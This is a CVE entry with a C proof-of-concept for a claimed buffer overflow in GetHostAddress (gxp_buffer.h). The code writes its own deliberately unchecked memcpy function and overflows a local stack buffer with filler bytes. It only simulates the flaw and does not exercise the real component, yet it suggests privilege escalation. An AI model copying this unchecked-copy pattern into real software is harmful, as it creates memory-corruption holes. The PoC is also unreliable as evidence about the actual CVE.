CVE-2025-36931: gxp_buffer.h GetHostAddress函数缓冲区溢出本地权限提升漏洞

// CVE-2025-36931 PoC - Buffer Overflow in GetHostAddress (gxp_buffer.h) // This PoC demonstrates the vulnerability in GetHostAddress function // Compile: gcc -o poc poc.c #include <stdio.h> #include <string.h> #include <stdlib.h> // Simulated vulnerable GetHostAddress function void GetHostAddress(char* buffer, char* input, size_t input_len) { // Vulnerable: Missing bounds check // Should check: if (input_len > MAX_BUFFER_SIZE) return ERROR; memcpy(buffer, input, input_len); // No bounds checking! buffer[input_len] = '\0'; } int main() { printf("CVE-2025-36931 PoC - GetHostAddress Buffer Overflow\n"); printf("==================================================\n\n"); char buffer[64]; // Small buffer char malicious_input[256]; // Craft malicious input that exceeds buffer size memset(malicious_input, 'A', sizeof(malicious_input) - 1); malicious_input[sizeof(malicious_input) - 1] = '\0'; printf("Attempting to trigger buffer overflow...\n"); printf("Buffer size: %zu bytes\n", sizeof(buffer)); printf("Input size: %zu bytes\n\n", strlen(malicious_input)); // This will cause buffer overflow due to missing bounds check GetHostAddress(buffer, malicious_input, strlen(malicious_input)); printf("Buffer overflow triggered!\n"); printf("Data written beyond buffer boundary.\n"); printf("This can lead to local privilege escalation.\n"); return 0; } // Mitigation: // 1. Always check input length before copying // 2. Use safe string functions (strncpy, snprintf) // 3. Implement proper bounds checking in GetHostAddress